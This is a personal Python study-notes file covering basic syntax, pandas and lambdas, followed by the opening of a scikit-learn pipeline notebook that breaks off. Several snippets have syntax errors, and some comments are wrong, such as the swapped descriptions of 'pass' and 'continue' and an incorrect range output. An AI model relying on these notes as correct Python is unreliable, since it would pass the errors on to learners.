2\nprint(mystring[::-1]) #end to beginning\n\n#Concatenate\nmystring1 = 'Hello'\nmystring2 = 'J' + mystring1[1:] #Jello    #strings are immutable\nprint(mystring2) #Jello\nprint(mystring2 + 'is Jello')\n# for loop concatenate\nfor value,label in zip(result,labels):\n    print(label + ' : ' +str(value))\n    if result[1] <= 0.05:\n        print('Reject null hypothesis')\n    else:\n        print('Fail to reject null hypothesis')\n\n\n#Multiple strings\nmystring = 'x' * 10\nprint(mystring) #xxxxxxxxxx\n\n#Use String Functions\nmystring = 'Hello World'\nmystring = mystring.upper() #use tab to see functions\nmystring.split() #['Hello', 'World']\nmystring.split('l') #returns a list split by l\n\n#Inserting a string\nprint('This is a string {}'.format('INSERTED'))\nprint('I like %s' %'apples')\nprint('Where did {0} {2} {1}'.format('He', 'Her', 'Meet')) # He Meet Her\nprint('The {b} {c} {d}'.format(d='dummy', c='called', b='boy')) #The boy called dummy\n\n#Controlling outputs and FString\nresult = 100/777\nprint(\"The result was {r:1.5f}\".format(r=result)) # R:whitespace.decimalsF The result was 0.129\nname = 'Jose'\nprint(f'Hello, his name is {name}') #fstring string variable injection method\n\n# Some other ways way number formatting\nprint('Mean Height: ', round(np.mean(height_surveys)/12,1), ' feet')\nprint('Standard Deviation of Height: ', round(np.var(height_surveys)**0.5 / 12, 1), ' feet')\n\n#######################################################################################################################\n#lists\nmy_list = [1,2,3]\nmy_list2 = ['STRING', 100, 200]\nmy_list3 = [0]*3 #[0, 0, 0]\nmy_list(1:)\nlen(my_list + my_list2)\nnew_list.append(4) #adds something to the end\nnew_list.pop(0) # removes position zero and returns it\nnew_list.sort() # a function that sorts in place and returns nothing\nnew_list2 = sorted(my_list)\ntype(new_list)\n\n#nested list\nmy_list=[1,2,[a,b]]\nmy_list[2][1]\n\n#generated random list 10000\n# Calculate stats using single sample\nsample_mean = np.mean(height_surveys[3])\nsample_stdev = np.var(height_surveys[3])**0.5\n# Calculate standard error = sample std dev / sqrt(N) where N = 10 in this example\nstd_error = sample_stdev/(height_surveys[3].shape[0])**0.5\n# generate random list of 10000 normally distributed samples (sample mean normal distribution)\ninferred_distribution = [sample_mean + np.random.normal()*\\\n                 std_error for i in range(10000)]\n\n\n#dictionaries have use \"string\" key values, do not need exact index, can't sort (because it is a mapping and not a sequence), use for vlookup but can be fancy lookup of lists/nested lookup\nmy_dict = {'key1':'value1','key2':'value2'}\nmy_dict['key1']\nprices_lookup = {'apple':2.99,'oranges':2,'milk':5}\nprices_lookup['apple']\nprices_lookup['apple'] = 5 #reassign and mutable\nfancy_dict = {'k1':123,'k2':[0,1,2,3],'k3':{'insidekey':100}}\nfancy_dict['k3']['insidekey']\nlen(prices_lookup)\ntype(prices_lookup)\nprices_lookup.keys()\t\t\t#returns (['key1', 'key2'])\nprices_lookup.values()\nprices_lookup.items()   #returns the package dict_items([('key1', 'value1'), ('key2', 'value2')]) and requires for loop to unpack it\n\n#tricky mixed up\n# Getting a little tricker\nd = {'k1':[{'nest_key':['this is deep',['hello']]}]}\nd['k1'][0]['nest_key'][1][0] #Grab hello\n\n#tuples are similar to lists, but IMMUTABLE, so it's good for data integrity when passing around objects that can't change once defined (can't re-assign like lists can)\nt = ('a','a','b')\nx = ('a',[1,2],'c')\nt.count('a')\nt[0] = 'NEW' #will throw an error\n\n#sets, sets do not allow duplicate items, they are unordered collections of UNIQUE elements\nmyset = set()\nmylist = [1,1,1,1,1,1,1,1,1,2,2,2,2,3,3,3,3]\nmyset = set(mylist) #list injection into a set, returns no repeats values or uniquely 1, 2, 3\nmyset = set()\nmyset.add(1) #looks like dictionary with {} but no key value pairs, so not\nmyset.add(2)\nmyset.add(2) #won't throw error and won't repeat it\n\n#######################################################################################################################\n#boolean for comparison\nTrue\nFalse\n1 > 2\n1 == 2\n1 != 2\nb = None #to avoid object not defined yet\n\n\n#comparisons and or not\n'3' == 3 #returns false due to different types\n'Bye' == 'bye' #returns false due to case sensitive\n3.0 == 3 #returns true because both are numbers\n3 != 4 #returns true\n(1 < 2) and (2 > 3)\n(1 < 2) or (2 > 3)\nnot (1 != 2)\n\n\n#######################################################################################################################\n#opening files\nmyfile = open('file.txt')\nmyfile = open('C:\\\\Users\\\\Username\\\\Folder\\\\test.txt')\npwd\ncontents = myfile.read()  #reading it again and the cursor is moved to the end\nmyfile.seek(0) #resets the cursor\nmyfile.readlines() #each line as a separate element in the list\nmyfile.close()\n\n#more formal way of opening files, use shift tab\nwith open('myfile.txt', mode='r') as my_new_file:\n\tcontents = my_new_file.read()\n#open as r = readonly, w = overWrite/create, a = Append, r+ read and write, w+ overwrite existing and read\nwith open('myfile.txt', mode='a') as my_new_file:\n\tmy_new_file.write('Four\\n')\n\n\n\n#*************************************************************************************************************\n\n# control flows\nhungry = True\nlocation = 'Stadium'\nif hungry:\n\t# do x\n\tprint('x')\nelif location=='Bank':\n\t# do y\n\tprint('y')\nelse:\n\t# do z\n\tprint('z')\n\n#*************************************************************************************************************\n\t\n# for loop mod\nmyList = [1,2,3]\nfor xItem in myList:\n\tprint(xItem)\nfor xItem in myList:\n\tif xItem % 2 == 0:\n\t\tprint(xItem)\n\telse:\n\t\tprint(f'Odd Number: {xItem}')\n\n# tuple unpacking will print the imitated structure\nmyList = [(1,2),(3,4),(5,6),(7,8)]\nfor (a,b) in myList\n\tprint(a) # returns 1... 3, etc\n\tprint(b) #returns 2... 4...\nfor a,b in myList   # no brackets works too \n\tprint(a) \n\tprint(b) \n\n# dictionary unpacking and dictionary is unordered\nmyDict = {'k1':1, 'k2':2, 'k3':3}\nfor xItem in myDict:\n\tprint(xItem) # only returns the k1, k2...\nfor xItem in myDict.items():\n\tprint(xItem) # would return the tuple ('k1', 1)\nfor xKey, xValue in myDict.items():\n\tprint(xValue) # would return the content\n\n# while statements\nx = 0\nwhile x < 5:\n\tprint(f'X is {x}')\n\tx = x+1\n# while statement with an else\nx = 0\nwhile x < 5:\n\tprint(f'X is {x}')\n\tx = x+1\nelse:\n\tprint('Code complete')\n\n#loop management\nbreak \t\t#breaks and stops out of closest loop, useful for while loop\npass\t\t#go back to top of closest loop, skip the rest of the instructions\ncontinue \t#do nothing\n\n# pass: example in a 'for loop'\nmyList = [1,2,3]\nfor xItem in myList:\n\t#comment alone would not compile as compiler expects a tabbed action and comment is not an action\n\tpass\nprint('end of loop')\n\n# continue: example in a 'for loop'\nmyString = 'hello world'\nfor xChar in myString:\n\tif xChar == 'o':\n\t\tcontinue \t\t\t#this would skip all the o but allow the loop to continue\n\tprint(xChar)\t\t\t#prints 'hell wrld' with each line break between the letters\n\n# break: example in a for loop\nmyString = 'hello world'\nfor xChar in myString:\n\tif xChar == 'o':\n\t\tbreak \t\t\t\t#this would break out\n\tprint(xChar)\t\t\t#prints 'hell' with each line break between the letters\n\n\t\n\t\n#*************************************************************************************************************\n\n# range operator\nfor xItem in range(3,10):\n\tprint(xItem) # prints 3 to 9 and not include 10\nfor xItem in range(0,10,2):\n\tprint(xItem) # prints 2, 4, 6, 8, 10 (not incl 11)\nmyList = (range(0,10,2)) # generator a list using range\n\n# query the list with for loop\nindex_count = 0\nfor letter in 'abcde':\n\tprint(f'The index is: {index_count} and the letter is {letter})\n\tindex_count += 1\n\t\n# Access the sub components of a word or list\nindex_count = 0\nword = 'hello'\nfor letter in word:\n\tprint(word[index_count])\n\tindex_count += 1\n# Exact same but using enumerate\nword = 'hello'\nfor item in enumerate(word):\n\tprint(item) #returns tuples such as (0, 'h'), (1, 'e'), etc...\n# Exact same but using enumerate and tuple unpacking\nword = 'hello'\nfor index,letter in enumerate(word):\n\tprint(index)\n\tprint(letter) #returns tuple unpacked\n\n\t\n#zip operator\nmy_list = [1, 2, 3, 4, 5, 6]\nmy_list2 = ['a', 'b', 'c', 'd', 'e']\nfor item in zip(my_list, my_list2):\n\tprint(item) #returns tuples, (1, 'a') (2, 'b')\n\tprint('\\n') #the zip only goes to the shortest so ignores 6\nmy_list3 = list(zip(my_list,my_list2) #returns [(1,'a'), (2,'b'), (3,'c')]\n#check if in list\n2 in [1,2,3] \t\t#returns true\n'a' in 'helloapple' #returns true\nd = {'mykey':345} \t#returns true\n'mykey' in d \t\t#returns true\n345 in d.values \t#returns true\n345 in d.keys \t\t#returns false\nmin(my_list) \t\t#returns 1\nmax(my_list)\t\t#returns 6\n\n#scramble the list\nshuffle(my_list) \t\t\t\t#would reshuffle the list\nfrom random import shuffle\nrandom_list = shuffle(mylist)\t#no error but doesn't return\n\n#random integer\nfrom random import randint\nmynum = randint(0, 100) #returns a random integer\n\n#input\nresults = input('What is your name')\nresults \t\t#returns always a string\ntype(results)\t#returns string\nfloat(results)\t#cast to a number\nint(results)\t#cast to a number\nresults = int(input('Favorite Number')) \n\n#list append\nmystring = 'hello'\nmylist = []\nfor letter in mystring:\n\tmylist.append(letter) # ['h', 'e', 'l', 'l', 'o']\n\n#list comprehension append 2, flattened for loop\nmylist = [letter for letter in mystring]   # ['h', 'e', 'l', 'l', 'o']\nmylist = [x for x in 'word']\nmylist = [num for num in range(0,11)] #generate a series\nmylist = [num**2 for num in range(0,11)] #perform the math operation\nmylist = [x for x in range(0,11) if x%2 == 0] #only take the even numbers\n\nst = 'Create a list of the first letters of every word in this string'\nmylist = [x[0] for x in st.split()]    # ['C', 'a', 'l', 'o', 't', 'f', 'l', 'o', 'e', 'w', 'i', 't', 's']\n\n\n#another example of list to list\nc = [1, 2, 3, 4, 5]\nf = [(( 9/5) * temp  + 32) for temp in c]    #load the list without for loop\n#same as list to list but using append\nlistgrab = []\nfor x in c:\n    listgrab.append((( 9/5) * x  + 32))\t\t#load the list with for loop\n\t\n\n#nested loop\nmylist = []\nfor x in [2, 4, 6]:\n\tfor y in [100, 200]:\n\t\tmylist.append(x*y)\n\n\n\n\n#fizz buzz\nmylist2 = []\nfor x in range(1, 101):\n    if x % 15 == 0:\n        mylist2.append('FizzBuzz')\n    elif x % 5 == 0:\n        mylist2.append('Buzz')\n    elif x % 3 == 0:\n        mylist2.append('Fizz')\n    else:\n        mylist2.append(x)\nmylist2\n\n#documentation\nhelp(mylist.insert) # not help(mylist.insert())\n\n\n#functions and functions that return\ndef some_function():\n\t'''\n\tDOCSTRING: Some documentation\n\tINPUT: expected input\n\tOUTPUT: expected output\n\t'''\n\tprint('hello')\n\nhelp(some_function) # would read the docstring\n\t\ndef some_function2(varX):\n\tprint('x'+varX) # would throw error if no varX provided\n\ndef some_function_provide_nothing(name='NAME'):\n\tprint('hello '+name) # has a default name\n\ndef simple_add(num1, num2):\n\treturn num1 + num2\n\nresult = simple_add(1,2)\nprint(result) # expecting 3\n\ndef dog_check(mystring):\n\tif 'dog' in mystring.lower():\n\t\treturn True\n\telse:\n\t\treturn False\n\n# better statement as it is already a boolean\ndef dog_check(mystring):\n\treturn 'dog' in mystring.lower()\n\n# if starts with a vowel then add 'ay', otherwise move 1st letter to end and add ay (string concat concatenate)\ndef pig_latin(word):\n\tfirst_letter = word[0]\n\t# check if vowel\n\tif first_letter in 'aeiou':\n\t\tpig_word = word + 'ay'\n\telse:\n\t\tpig_word = word[1:] + first_letter + 'ay'\n\treturn pig_word\n\n# what if you want to pass parameters? any problems?\ndef myfunc(a, b, c=0,d=0):\n\t# a and b are positional arguments, passed in as a tuple with only 2 parameters\n\t# return 5% of the sum of (a + b)\n\treturn sum(   (a,b,c,d)  ) * 0.05     # entered as a tuple\n\n# arbitrary number of arguments: can now pass in as many arguments as i want\n# *args is just a convention, you can do *blahblah\ndef myfunc(*args):\n\treturn sum(args) * 0.05\n\tprint args # looks just like a tuple, the * term allows you to pass in as many as you want, can loop or aggregate it\n\t\nmyfunc(10,20,30,40)\n\n# arbitrary number of key word arguments, returns back a dictionary (of key value pairs)\n# can do whatever you want inside your function with a list of dictionary items\n# **kwargs is an arbitrary choice, but the two asterix is what's indicated to python\ndef myfunc(**kwargs):\n\tif 'fruit' in kwargs:\n\t\tprint('My fruit of choice is {}'.format(kwargs['fruit']))\n\telse:\n\t\tprint('I did not find any fruit here')\n\nmyfunc(fruit='apple', veggie = 'lettuce') # output = 'My fruit of choice is apple'\n\n# accepting both arguments, great for outside libraries, careful of ordering\ndef myfunc(*args,**kwargs):\n\tprint(args)\n\tprint(kwargs)\n\tprint ('I would like {} {}'.format(args[0],kwargs['food']))\n\nmyfunc(10,20,30,fruit='orange',food='eggs',animal='dog') # output = 'I would like 10 eggs'\n\n\n# test to only display even\ndef myfunc(*args):\n    mylist = []\n    for x in range(0,len(args)):\n        if (args[x] % 2) == 0:\n            mylist.append(args[x])\n    return mylist\n\n# string modification with *args \n# if even then upper case, if odd then lower case\ndef myfunc(*args):\n    mystring = \"\"\n    tempstring = \"\"\n    for x in range(0,len(args[0])):\n        tempstring = args[0][x]\n        if x % 2 == 0:\n            mystring = mystring + tempstring.upper()\n        else:\n            mystring = mystring + tempstring.lower()\n    return mystring\n\n# how to use sum\ndef blackjack(a, b, c):\n\tif sum([a,b,c]) <= 21:\n\t\treturn sum([a,b,c])\n\telif 11 in [a,b,c] and sum([a,b,c])-10 <= 21:\n\t\treturn sum([a,b,c]) - 10\n\telse:\n\t\treturn \"Bust\"\n\n# how to use while loops and breaks\ndef summer(array_numbers):\n\tnum = 0\n\tadder = True\n\tfor num in array_numbers:\n\t\twhile adder:\n\t\t\tif num != 6:\n\t\t\t\ttotal += num\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tadder = False\n\t\twhile not adder:\n\t\t\tif num != 9:\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tadder = True\n\t\t\t\tbreak\n\treturn total\n#usage:\nsummer([1, 3, 5, 7])\n\n\n#################################################################################################################\n# how to enumerate an array with identifiers\n###########################\n# enumerate the first 10 messages (0 to 9)\nfor message_no, message in enumerate(messages[:10]):\n\tprint(message_no, message)\n\tprint('\\n')\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#################################################################################################################\n# how to pop off array items\n###########################\ndef codewords(nums):\n\tcode = [1, 2, 3, 'x']\n\t# [2, 3, 'x']\n\t# [3, 'x']\n\t# ['x']\n\tfor num in nums:\n\t\tif num == code[0]:\n\t\t\tcode.pop(0)\n\treturn len(code) == 1\n\n# for... else combo\n# find primes\ndef count_primes(num):\n\t\n\t# check for 0 and 1\n\tif num < 2: return 0\n\t\n\t# storage\n\tprimes = [2]\n\tx = 3\n\t\n\twhile x <= num:\n\t\tfor y in range(3, x, 2):\n\t\t\tif x%y == 0:\n\t\t\t\tx += 2\t\t\t\t# skip ahead of even numbers\n\t\t\t\tbreak\n\t\telse:\t\t\t\t\t\t# this only runs if it doesn't break out of \"for\"\n\t\t\tprimes.append(x)\n\t\t\tx += 2\n\tprint(primes)\n\treturn len(primes)\n\t\n\n#################################################################################################################\n# pandas dataframe basics\n\t\t\nimport pandas as pd\ndf = pd.read_csv('some_csv.csv')\ndf.columns # shows columns \ndf.index\nlen(df.index) # number of rows\nlen(df.columns) # number of columns\ndf.info() # for all the info\n\n# add a column using apply method (this function converts Yes to 1 and else to 0)\ndef converter(private_school):\n    if private_school == 'Yes':\n        return 1\n    else:\n        return 0\ndf['Cluster'] = df['Private'].apply(converter) \n\t\t\n# look at one entry and edit it\nexample_entry = personnel['Email'].iloc[0]\ndf.loc['Cazenovia College', 'Grad.Rate']=100 # sets that value to 100 (do not use the .at function will give slicer dataframe warning)\n# use lambda function to split email\t\t\nexample_entry.split('@')[1] # would give hotmail.com\nhost = personnel['Email'].apply(lambda email: email.split('@')[1]) # would also give hotmail.com\n\n# filter comparison AND\ncount_amex_and_above95 = df[(df['CC Provider']=='AMEX') & df['Purchase Price'] > 95)].count()\n\t\t\n# unique count of classifications (already sorted)\ndf['Job Title'].value_counts()\n\n# lambda filter on a text string in CC Exp Date for last 2 digits of '10/25' so 3: = 25\nsum(df['CC Exp Date'].apply(lambda exp: exp[3:]=='25')) # 1033\ndf[ df['CC Exp Date'].apply(lambda exp: exp[3:]=='25')].count() # 1033\ndf[ df['CC Exp Date'].apply(lambda exp: exp[3:]=='25')].value_counts().head(5)\n\n# lambda expression with IF statement to add new column to dataframe \ndf['loan_repaid'] = df['loan_status'].apply(lambda status: status=='Fully Paid')  # returns column of True/False\ndf['loan_repaid'] = df['loan_status'].apply(lambda x : True if (x > 30 and x < 20) else False) # returns column of True/False\ndf['loan_repaid'] = df['loan_status'].apply(lambda x : 1 if (x == 'Fully Paid') else 0) # returns column of 1/0\ndf.drop('loan_status', axis=1, inplace=True) # remove text row\n\n# another way to create dummy columns (without lambda)\ndf['verification_status'].value_counts() # see what the columns will be\nstatuses = pd.get_dummies(df['verification_status'], drop_first=True) # drop first for machine learning but can remove\n\n\n#################################################################################################################\n# pandas groupby\n\n# group by to see data\n# Can also pass column names as group keys\ndf.groupby('column1_type').mean()\n\n# Make some arrays for use as keys\n# Remember np.array(my_list) creates a numpy array\ncities = np.array(['NY','LA','LA','NY','NY'])\nmonth = np.array(['JAN','FEB','JAN','FEB','JAN'])\n#Now using the data from dataset1, group the means by city and month\ndf['dataset1'].groupby([cities,month]).mean()\t\t\n\t\t\n# more group by examples on rows and columns\nimport pandas as pd\nimport numpy as np\nfrom pandas import Series,DataFrame\nanimals = DataFrame(np.arange(16).reshape(4, 4),\n                   columns=['W', 'X', 'Y', 'Z'],\n                   index=['Dog', 'Cat', 'Bird', 'Mouse'])\n# Now modify certain entries with some NAN values\nanimals.loc[1:2, ['W', 'Y']] = np.nan \nanimals\n\t\t\n# Map Rows Index (Dog, Cat, Bird, Mouse) to Categories\nanimal_map = {'Dog': 'house', 'Cat': 'house', 'Bird': 'nest','Mouse': 'hole'}\n# Now let's try it with a Series\nanimal_series = Series(animal_map)\n# Now let's groupby the Series\nanimals.groupby(animal_series, axis=0).sum()\n\t\t\n# Map Columns (W, X, Y, Z) to Categories\nbehavior_map = {'W': 'good', 'X': 'bad', 'Y': 'good', 'Z': 'bad'}\n# Now let's try it with a Series\nbehav_series = Series(behavior_map)\n# Now let's groupby the Series\nanimals.groupby(behav_series, axis=1).count()\n\n\t\t\n#################################################################################################################\n# pandas melt\ndf = pd.DataFrame({'A': {0: 'a', 1: 'b', 2: 'c'},\n                   'B': {0: 1, 1: 3, 2: 5},\n                   'C': {0: 2, 1: 4, 2: 6}})\n\"\"\"\t\t\ndf\n   A  B  C\n0  a  1  2\n1  b  3  4\n2  c  5  6\n\"\"\"\npd.melt(df, id_vars=['A'], value_vars=['B'])\n\n\"\"\"\n   A variable  value\n0  a        B      1\n1  b        B      3\n2  c        B      5\n\"\"\"\n\n#################################################################################################################\t\t\n# Pandas DataFrames - Join/Merge/Pivot Table Recommender System\t\t\n\n# read specific columns\ncolumn_names = ['user_id', 'item_id', 'rating', 'timestamp']\ndf = pd.read_csv('u.data', sep='\\t', names=column_names)\n\t\t\n# get list of movie titles\t\t\nmovie_titles = pd.read_csv(\"Movie_Id_Titles\")\nmovie_titles.head()\n\t\t\n# merge two dataframes together using Movie ID (to get the text titles and ratings)\ndf = pd.merge(df,movie_titles,on='item_id')\ndf.head()\t\t\n\t\t\n# create a dataframe with average ratings and sort them and take a look at the top of the data\ndf.groupby('title')['rating'].mean().sort_values(ascending=False).head()\t\t\ndf.groupby('title')['rating'].count().sort_values(ascending=False).head()\n# average ratings dataframe\nratings = pd.DataFrame(df.groupby('title')['rating'].mean())\nratings.head()\n# number of ratings dataframe\nratings['num of ratings'] = pd.DataFrame(df.groupby('title')['rating'].count())\nratings.head()\n\n# visualize outlier data in number of ratings - notice a lot of films only had one person rate (distribution skewed left x-axis)\nsns.set_style('white')\nplt.figure(figsize=(15,8))\nratings['num of ratings'].hist(bins=70)\n# visualize outlier data in average ratings - notice a lot of films only had one person rate (concentration on ends, 1 and 5)\nplt.figure(figsize=(10,4))\nratings['rating'].hist(bins=70)\n# create a joint plot to see how the ratings and number of ratings are distributed\nsns.jointplot(x='rating',y='num of ratings',data=ratings,alpha=0.5)\n\n# create recommendation matrix using simple correlations by user_id\n# Step 1: the matrix will have all the users (each row), all titles (each column), and ratings (in the values) \nmoviemat = df.pivot_table(index='user_id',columns='title',values='rating')\nmoviemat.head() # creates a massive dataset = 944 rows \u00d7 1664 columns (excel would explode)\n# understand your data - sort the values to see the highest number of ratings (ascending = False)\nratings.sort_values('num of ratings', ascending=False).head(10)\n\n# Step 2: select top two movies and make recommendation - if someone likes this movie what else they could like (by highest corr)\n# get all users and Star Wars rating (would have some NaN if no rating)\nstarwars_user_ratings = moviemat['Star Wars (1977)'] # rows = all users, one column = star wars rating\n# get all users and Liar Liar rating (would have some NaN if no rating)\nliarliar_user_ratings = moviemat['Liar Liar (1997)']\n# so the .corrwith creates a correlation against two dataframes\n# Compute pairwise correlation between rows or columns of DataFrame with rows or columns of Series or DataFrame.  \n# DataFrames are first aligned along both axes before computing the correlations. \n# 944 rows \u00d7 1664 columns vs. 944 rows x 1 columns\nsimilar_to_starwars = moviemat.corrwith(starwars_user_ratings)  # returns 1664 rows movies and 1 correlation number in a Series\nsimilar_to_liarliar = moviemat.corrwith(liarliar_user_ratings)\nsimilar_to_starwars # title and correlation in a series\n# Put series into a dataframe\ncorr_starwars = pd.DataFrame(similar_to_starwars,columns=['Correlation'])\n# Clean up the dataframe by dropping the NaN\ncorr_starwars.dropna(inplace=True)\ncorr_starwars.head()\n\n# Step 3: sort data by highest correlation and pull out results that do not make sense\ncorr_starwars.sort_values('Correlation',ascending=False).head(10)\n# look back to chart and see that the cut off is around 100 reviews, so add the number of ratings to the correlation\n# the join method requires that the Index is the same (in this case it is, it is the Title)\ncorr_starwars = corr_starwars.join(ratings['num of ratings'])\ncorr_starwars.head()\n# apply the filter (note ascending=false to get highest first)\ncorr_starwars[corr_starwars['num of ratings']>100].sort_values('Correlation',ascending=False).head()\n# do the same for liar liar lovers\ncorr_liarliar = pd.DataFrame(similar_to_liarliar,columns=['Correlation'])\ncorr_liarliar.dropna(inplace=True)\ncorr_liarliar = corr_liarliar.join(ratings['num of ratings'])\ncorr_liarliar[corr_liarliar['num of ratings']>100].sort_values('Correlation',ascending=False).head()\n\n\n\n#################################################################################################################\n# lambda functions for dummies\n\n# Example 1\nx = lambda a : a + 10\nprint(x(5))   # 15\n\n# Example 2a\n# Compare Function vs. Lambda\n# put it all in one line, get rid of return, get rid of parenthesis, get rid of name\ndef cube(y): return y*y*y; \ng =       lambda x: x*x*x \nprint(cube(5)) # 125\nprint(g(7)) # 343\n\n# Example 2b\n# Compare if even\neven = lambda num: num%2 == 0\neven(4) # True\neven(3) # False\n\n# Return first letter of string\nfirst = lambda s: s[0]\nfirst('asdf') # a\n\n# Return reverse order of string\nreversal = lambda s: s[::-1]\nreversal('asdf') # fdsa\n\n# Multiple entries\naddermulti = lambda x,y: x+y\naddermulti(3,3)\n# Multi variables\nx = lambda a, b : a * b\nprint(x(5, 6))  # 30\n\n# Example 3\n# Python code to illustrate filter() with lambda() \nli = [5, 7, 22, 97, 54, 62, 77, 23, 73, 61] \nfinal_list = list(filter(lambda x: (x%2 != 0) , li)) \nprint(final_list) # [5, 7, 97, 77, 23, 73, 61]\n\n# Example 4 - removal of illegal character - return position 1 and onwards if first entry has # ex) #EVENTID else line\ntext_string.map(lambda line: line[1:] if line[0] == '#' else line)\n# string tokenization token split \ntext_string.map(lambda line: line.split())\n      \n# Example 5\n# map() with lambda()  \n# to get double of a list. \nprint(\"map with lambda function: \")\nli = [5, 7, 22, 97, 54, 62, 77, 23, 73, 61] \nfinal_list = list(map(lambda x: x*2 , li)) \nprint(final_list)   # [10, 14, 44, 194, 108, 124, 154, 46, 146, 122]\n\n# Example 6\n# another map example\nx = [2, 3, 4, 5, 6]\ny = map(lambda v : v * 5, x)\nprint(list(y))\n\t\t\n# Example 7 - to use in Spark\nclean = text_string.map(lambda line: line[1:] if line[0] == '#' else line)\n# create a TUPLE grab State and Amount\nstep1 = clean.map(lambda lst: (lst[3], lst[-1])   )\n# ReKey = Reduce by Key (like GroupBy) and convert to Float so the + works\nstep2 = step1.reduceByKey(lambda amt1,amt2 : float(amt1) + float(amt2))\n# Get rid of title (first line)\nstep3 = step2.filter(lambda x: not x[0]=='State')\n# Sort Results by Amount\nstep4 = step3.sortBy(lambda stAmount: stAmount[1],ascending=False)\n# Perform the action\nstep4.collect()\n\t      \n# late binding closures issue in python\n# Five functions are created; instead all of them just multiply x by 4\nprint(\"with late binding closure: \")\ndef create_multipliers():\n    return [lambda x : i * x for i in range(5)]      # () seems to fix? return (lambda x : i * x for i in range(5))\nfor multiplier in create_multipliers():\n    print(multiplier(2))\n    # five 8 are printed: 8, 8, 8, 8, 8\n\n# late binding closures work around \nprint(\"with late binding closure fixed: \")\ndef create_multipliers_fix():\n    return [lambda x, i=i : i * x for i in range(5)]\nfor multiplier in create_multipliers_fix():\n    print(multiplier(2))\n    # 0, 2, 4, 6,8\n\n# creates iterable and skip the function\nprint(\"another iterable lambda: \")\nanother = (lambda i: i + x for x in range(5))\nfor multiplier in another:\n    print(multiplier(1))\t\t\n\n\"\"\"\nwith late binding closure: \n8\n8\n8\n8\n8\nwith late binding closure fixed: \n0\n2\n4\n6\n8\nanother iterable lambda: \n1\n2\n3\n4\n5\n\"\"\"\t\t\n\t\t\n#################################################################################################################\n# Load an image\nfrom IPython.display import Image\nurl = 'http://upload.wikimedia.org/wikipedia/commons/5/56/Kosaciec_szczecinkowaty_Iris_setosa.jpg'\nImage(url,width=300, height=300)\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#################################################################################################################\n#################################################################################################################\n#################################################################################################################\n#################################################################################################################\n#################################################################################################################\n#################################################################################################################\n#################################################################################################################\n\n\t\t\n# hi\n\n\n\n\n\n", "meta": {"hexsha": "f13ffb9162dcdd0384b6ecaa17c8907eae90e32d", "size": 28779, "ext": "py", "lang": "Python", "max_stars_repo_path": "ex000_Basics.py", "max_stars_repo_name": "arcticv/python", "max_stars_repo_head_hexsha": "9e4abab611d268dba8fb56098112ff339d7df489", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ex000_Basics.py", "max_issues_repo_name": "arcticv/python", "max_issues_repo_head_hexsha": "9e4abab611d268dba8fb56098112ff339d7df489", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ex000_Basics.py", "max_forks_repo_name": "arcticv/python", "max_forks_repo_head_hexsha": "9e4abab611d268dba8fb56098112ff339d7df489", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3723284589, "max_line_length": 188, "alphanum_fraction": 0.6269154592, "include": true, "reason": "import numpy", "num_tokens": 7946, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.1688569500503904, "lm_q1q2_score": 0.07784588727673157}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: notebooks//ipynb,markdown_files//md,python_scripts//py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.2'\n#       jupytext_version: 1.2.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% {\"deletable\": true, \"editable\": true}\n# %matplotlib inline\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# # Pipelining estimators\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# In this section we study how different estimators maybe be chained.\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ## A simple example: feature extraction and selection before an estimator\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# ### Feature extraction: vectorizer\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# For some types of data, for instance text data, a feature extraction step must be applied to convert it to numerical features.\n# To illustrate we load the SMS spam dataset we used earlier.\n\n# %% {\"deletable\": true, \"editable\": true}\nimport os\n\nwith open(os.path.join(\"datasets\", \"smsspam\", \"SMSSpamCollection\")) as f:\n    lines = [line.strip().split(\"\\t\") for line in f.readlines()]\ntext = [x[1] for x in lines]\ny = [x[0] == \"ham\" for x in lines]\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.model_selection import train_test_split\n\ntext_train, text_test, y_train, y_test = train_test_split(text, y)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# Previously, we applied the feature extraction manually, like so:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import LogisticRegression\n\nvectorizer = TfidfVectorizer()\nvectorizer.fit(text_train)\n\nX_train = vectorizer.transform(text_train)\nX_test = vectorizer.transform(text_test)\n\nclf = LogisticRegression()\nclf.fit(X_train, y_train)\n\nclf.score(X_test, y_test)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# The situation where we learn a transformation and then apply it to the test data is very common in machine learning.\n# Therefore scikit-learn has a shortcut for this, called pipelines:\n\n# %% {\"deletable\": true, \"editable\": true}\nfrom sklearn.pipeline import make_pipeline\n\npipeline = make_pipeline(TfidfVectorizer(), LogisticRegression())\npipeline.fit(text_train, y_train)\npipeline.score(text_test, y_test)\n\n# %% [markdown] {\"deletable\": true, \"editable\": true}\n# As you can see, this makes the code much shorter and easier to handle. Behind the scenes, exactly the same as above is happening. When calling fit on the pipeline, it will call fit on each step in turn.\n#\n# After the first step is fit, it will use the ``transform`` method of the first step to create a new representation.\n# This will then be fed to the ``fit`` of the next step, and so on.\n# Finally, on the last step, only ``fit`` is called.\n#\n# 